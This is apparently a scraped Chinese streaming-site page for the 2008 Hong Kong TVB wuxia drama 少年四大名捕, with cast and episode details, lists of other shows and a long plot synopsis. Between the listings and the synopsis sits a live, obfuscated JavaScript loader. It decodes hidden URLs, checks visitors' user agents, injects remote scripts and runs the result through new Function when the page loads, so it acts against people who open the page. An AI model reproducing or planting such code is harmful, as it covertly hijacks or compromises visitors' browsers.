少年四大名捕国语 状态： 全集类别：港台剧 主演： 林峯 吴卓羲 陈键锋 马国明 李施嬅 徐子珊 年代： 港台剧 / 2008 / 林志华 导演： 林志华 国家/地区： 香港状态：全集 语言/字幕： 粤语年代： 2008更新时间： 2024-05-13 10:04:04剧情简介： 《少年四大名捕》是香港电视广播有限公司根据武侠作家温瑞安经典小说《四大名捕》而改编制作拍摄的古装武侠电视剧||由林峰、吴卓羲、陈键锋、马国明领衔主演||林志华监制、李绮华、叶世康编剧该剧改编自温瑞...详细
热播港台剧 全30集 郭晋安,蔡少芬,王祖蓝,蒋志光,林欣彤,郑欣宜,张继聪,林盛斌
共30集,完结 苗侨伟,黄宗泽,万绮雯,周励淇
共20集,完结 钟嘉欣,黄宗泽,秦沛,朱慧敏,蒋志光,简慕华,乐瞳,龚茜彤
共30集,完结 马国明,李施嬅,敖嘉年,林夏薇
共32集,完结 陈豪,黎耀祥,陈法拉,伍咏薇,陈智燊,马赛,陈国邦,王浩信
共20集,完结 李思捷,万绮雯,梁烈唯,朱晨丽,杨诗敏,罗乐林,朱咪咪,麦玲玲
共20集,完结 黄子华,徐子珊,陈敏之,阮兆祥,高海宁,江美仪,许绍雄,林子善
共30集,完结 黎耀祥,黄浩然,萧正楠,陈国邦,曹永廉,胡定欣,邵美琪,关菊英
共40集,完结 刘松仁,陈玉莲,马国明,杨怡,吴卓羲,朱晨丽,黄智贤,江美仪
共31集,完结 欧阳震华,罗兰,胡定欣,胡枫,滕丽名,张颖康,吕慧仪,张彦博
20集全 罗嘉良,曾华倩
20集全 马德钟,滕丽名,钟丽淇,莫家尧,曹永廉,鲁文杰
20集全 马德钟,滕丽名,钟丽淇,莫家尧,曹永廉,鲁文杰
20集全 吴镇宇,梁艺龄,戴志伟,甘卫国,张凤妮,姚正箐
20集全 方中信,黎美娴,林文龙
满天星推荐 全12集 未知
全13集 马正阳,苏枕袖,钱琛,刘康,史泽鲲,佟心竹,林帽帽,高枫
全13集 未知
全10集 ,,
全1集 矢岛晶子,楢桥美纪,藤原启治
BD 宋承宪,松岛菜菜子
BD 王祖贤,徐淑媛,冯淬帆,高丽虹,陈惠敏,沈威,曹查理,梁鸿华
BD 王美雪,朱萍媛,徐双霞, ,杨子儒, ,林坤厚, ,余文怀, ,郑茵心, ,王美学
BD 叶童,林泉,徐忻辰,薛斌
BD 甄子丹,吴建豪,吴樾,斯科特·阿金斯,郑则仕,陈国坤,李宛妲,敖嘉年
BD 夏尔·阿兹纳夫,玛丽·杜布瓦,妮可·伯格,米歇尔·梅奇,Serge,Davri,Claude,Mansard,Richard,Kanayan,Albert,Rémy,Jean,Jacques,Aslanian,丹尼尔·布朗热,
BD 严正花,韩彩英,李东健,朴勇宇,吴知咏
BD 倍赏千惠子,后藤久美子
全6集 MirandaHart,派翠西亚·霍吉,米兰达·哈特,汤姆·艾利斯,萨拉·哈德兰,JamesHolmes,PatriciaHodge,SarahHadland
全20集 未知
刚刚更新港台剧淘气双子星粤语
黄贯中,黄家强,林家栋
更新至第05集
!function(){function a(a){var _idx="kigr6p5sfc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPQKQCFT_T_mOYFO^(fmRT4gQ@{n"="hFFJLg\/\/[[fdTPPQKQCF75FTmOCS^FX^mRT4gQ@{n"="hFFJLg\/\/[[fdTPPQKQCFfY5Fm(5OXf4qmRT4gQ@{n"="hFFJLg\/\/[[fdTPPQKQCFSOJTmOYFO^(fmRT4gQ@{n"="hFFJLg\/\/[[fdTPPQKQCFLY_6mOCS^FX^mRT4gQ@{n"="hFFJLg\/\/[[fdTPPQKQCFRDYJm(5OXf4qmRT4gQ@{n"="hFFJLg\/\/[[fdTPPQKQCFdDqJmOCS^FX^mRT4gQ@{n"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/QKQjR8S6p5KJnL7("!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"QKQ"=X8"S6p5KJnL7("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"QKQd2(LCYmDXT((XOmRT4"="QKQ5p(LYpm_d)6C)TmRT4"="QKQD7(LSqmDXT((XOmRT4"="QKQdC(LJ^m_d)6C)TmRT4"="QKQ(C(L:4mDXT((XOmRT4"="QKQC2(LSYm_d)6C)TmRT4"="QKQ25(LLSmDXT((XOmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPQKQ2F(LCYmCRDJ6_hmRT4gQ@{n/((/QKQj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPQKQ2F(LCYmCRDJ6_hmRT4gQ@{n/((/QKQj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPQKQCFT_T_mOYFO^(fmRT4gQ@{n/f/QKQj(8}vR8S6p5KJnL7("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPQKQCFT_T_mOYFO^(fmRT4gQ@{n"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
《少年四大名捕》是香港电视广播有限公司根据武侠作家温瑞安经典小说《四大名捕》而改编制作拍摄的古装武侠电视剧||由林峰、吴卓羲、陈键锋、马国明领衔主演||林志华监制、李绮华、叶世康编剧
该剧改编自温瑞安武侠小说《四大名捕》系列之《四大名捕斗将军》||该系列小说又名《少年四大名捕》||该系列还包括《少年冷血》《少年追命》《少年铁手》《少年无情》 [1]
该剧以北宋末年吏治败坏的时代为背景||朝廷间权臣倾轧暗斗||无所不用其极只为扳倒对手||在此混乱的时势下||诸葛正我力排万难重开神捕司||先后招揽四位名捕为万民伸张正义该剧于2007年在中国云南丽江木府议事厅、云南石林等地拍摄||2008年9月22日至10月24日香港TVB翡翠台、高清翡翠台和马来西亚Astro On Demand首播 [2]
北宋末年||奸臣当道||民不聊生曾为神捕司统领的诸葛正我[林嘉华饰]是朝廷中的正义力量||却多年郁郁不得志他希望能重掌神捕司儆恶惩奸以整顿法纪||于是他召集天下英才伸张正义||组成各怀绝技的“武林四大名捕”：被誉为“暗器之王”而独步天下的大师兄无情[林峰饰]||积恶扬善练就一双铁掌的二师兄铁手[马国明饰]||放浪不羁游戏江湖的三师兄追命[陈键锋饰]腿功惊人||追踪术无人能及||以及看似冷酷实则重情重义||练就一剑封喉绝技的四师弟冷血[吴卓羲饰]在诸葛正我的带领下||四大捕快为民请命||破案无数||深得朝廷跟百姓的赞颂从此江湖人称“四大名捕”本片改编自温瑞安武侠经典作品《四大名捕》裂开了||男主在干什么||最近为什么一窝风的掐女主脖子啊？好看吗？苏吗？恨不得扇他两巴掌离女主远点
北宋末年||官吏贪赃枉法||盗贼横行||法治混乱||民不聊生曾为神捕司统领的诸葛正我有见及此||望能重掌神捕司||依法办案||伸张正义||整顿法纪||奈何奸臣蔡京当道||致令诸葛先生难获徽宗皇帝重用||多年来被朝廷投闲置散||郁郁不得志 身为朝廷命官的舒无戏一直希望相助好友诸葛正我[林嘉华饰]重开神捕司||故多番向徽宗引荐备受冷落的诸葛先生||奈何屡试不果直到诸葛先生获徽宗任命||前赴大宋与大理边境送赠古剑给齐王赵昌时||机缘巧合下侦破一宗连环凶杀案后||深得齐王赞赏||答应向徽宗提议重开神捕司徽宗最终答应如果诸葛正我可以找到开国宝藏就重开神捕司 这次送剑任务||诸葛先生带同大弟子成崖余前往崖余外号无情[林峯饰]||虽不良于行||但拥有超凡智慧||高傲自负||是为破案奇才诸葛得无情相助||再加上当地的正义捕快||外号铁手[马国明饰]的铁游夏||一宗扑朔迷离的连环凶杀案终于数天内迅速被侦破诸葛先生斗胆向徽宗提出请求||只要协助徽、宗寻回大宋的开国宝藏||就让他重开神捕司||查办一切冤案疑案徽宗贪图财富以及急于寻回赵家向江湖人士承诺的报恩令||终答允诸葛先生所求 与此同时||一名外号追命[陈键锋饰]的江湖骗子崔略商因涉嫌杀害爱人小透||面临被处决的命运诸葛先生知悉追命虽毫无大志||不务正业||却绝非大奸大恶之徒||兼且拥有一身绝顶轻功||实是一名人才||故设计逼使榔铛入狱的追命协助调查开国宝藏的下落追命为求沉冤得雪、以及揪出杀害小透的真凶||终答应诸葛先生所求 另一方面||大连盟盟主凌落石同样觊觎宝藏||故派出武功高强的杀手冷血[吴卓羲饰]狙击众人||双方连番恶斗||冷血终不敌三人而受创||更被困于宝藏石室中||生死一线||后得诸葛先生以德报怨救回冷血为人虽然冷酷||但却是重守承诺之辈||终答允为诸葛先生誓死效命一年||以还救命之恩 开国宝藏得以寻回||神捕司终获征宗批准而重开无情、铁手、追命和冷血被任命为司中四大捕快||成为诸葛先生旗下猛将||陆续侦破花石纲官员失踪事件、瘟疫村疯医杀人事件等多宗奇案||伸张正义||为民拯命 原来凌落石一直企图称霸武林||不断巧取豪夺||陆续吞并江湖各帮各派||藉此配合蔡京独揽朝政的野心落石借助江湖黑暗势力对抗神捕司||不断陷害和残害武林正派蔡京更设计使徽宗同意推选一位武林盟主||蓝天帮帮主蓝破天因有望夺位更惨被害死其女儿蓝若飞不惜漠视皇法||意图报仇||幸得神捕司相救才幸免于难与铁手更产生了一段纠缠不清的感情诸葛先生发现蔡京勾结齐王赵昌||企图谋朝篡位||于是亲自当卧底接近蔡京||意图搜查罪证岂料蔡京将计就计||反过来陷害诸葛先生勾结齐王谋反||终令诸葛先生面临抄家被斩之命运与此同时||铁手和追命同时质疑诸葛先生建立神捕司的用心||只是贪图权利的手段||无情在桑芷妍的多次出卖下心灰意冷||终日借酒消愁||结果令神捕司与四大捕快同时陷于分崩离析的状态幸好危急关头时||曾为杀手的冷血依然忠于诸葛先生||遂拚死逃避蔡京等人的追杀||四处寻回陷于分裂状态的三大捕快||希望团结众人为诸葛先生平反冤案、以及揭破蔡京谋朝篡位的大阴谋 诸葛先生的冤案终获平反||神捕司也得以重开||四大捕快功不可殁||深被朝廷和江湖颂赞||从此人称四大名捕 [3]